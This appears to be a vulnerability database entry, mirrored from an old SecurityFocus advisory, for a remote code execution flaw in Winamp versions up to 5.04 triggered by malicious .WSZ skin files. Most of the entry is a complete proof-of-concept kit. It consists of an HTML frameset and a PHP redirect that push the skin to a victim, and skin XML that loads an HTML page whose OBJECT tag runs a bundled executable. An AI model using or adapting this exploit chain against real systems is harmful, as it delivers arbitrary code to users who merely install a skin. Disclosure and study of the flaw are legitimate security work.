NullSoft Winamp 2-5 .WSZ File Remote Code Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

NullSoft Winamp 2-5 .WSZ File Remote Code Execution Vulnerabilit


                                                source: http://www.securityfocus.com/bid/11053/info

A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.

This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.

This vulnerability is reported to affect all versions of Winamp up to and including 5.04. 

index.html
-----------
&#60;html&#62;
&#60;head&#62;
&#60;/head&#62;
&#60;frameset rows=&#34;*,1&#34; framespacing=&#34;0&#34; border=&#34;0&#34; frameborder=&#34;NO&#34;&#62;
&#60;frame src=&#34;load.php&#34; name=&#34;frame_content&#34; scrolling=&#34;auto&#34; noresize&#62;
&#60;/frameset&#62;
&#60;noframes&#62;
&#60;body&#62;
&#60;/body&#62;
&#60;/noframes&#62;
&#60;/html&#62;

Load.php
---------
&#60;?php
$httpref = $HTTP_REFERER;
header(&#34;Location: http://URL/foo.wsz&#34;);
?&#62;

foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
&#60;html&#62;
&#60;OBJECT NAME=&#39;X&#39; CLASSID=&#39;CLSID:11111111-1111-1111-1111-111111111123&#39; CODEBASE=&#39;file.exe&#39;&#62;
&#60;/html&#62;


/xml/includes.xml
-------------------
&#60;include file=&#34;player.xml&#34;/&#62;


/xml/player-normal.xml
-------------------------
&#60;layout&#62;
&#60;browser id=&#34;browser&#34; x=&#34;0&#34; y=&#34;0&#34; w=&#34;0&#34; h=&#34;0&#34; relatw=&#34;1&#34; relath=&#34;1&#34; url=&#34;file:///@SKINPATH@html/test.htm&#34; /&#62;
&#60;/layout&#62;


/xml/player.xml
-----------------
&#60;container id=&#34;main&#34; name=&#34;main&#34;&#62;
&#60;include file=&#34;player-normal.xml&#34;/&#62;
&#60;/container&#62;


/skin.xml
---------
&#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&#62;

&#60;WinampAbstractionLayer version=&#34;1.1&#34;&#62;
&#60;skininfo&#62;
&#60;version&#62;1.0&#60;/version&#62;
&#60;name&#62;Batman&#60;/name&#62;
&#60;comment&#62;&#60;/comment&#62;
&#60;author&#62;Petrol Designs&#60;/author&#62;
&#60;email&#62;[email protected]&#60;/email&#62;
&#60;homepage&#62;http://www.petroldesigns.com&#60;/homepage&#62;
&#60;/skininfo&#62;

&#60;include file=&#34;xml/includes.xml&#34;/&#62;
&#60;!--
--&#62;
&#60;/WinampAbstractionLayer&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1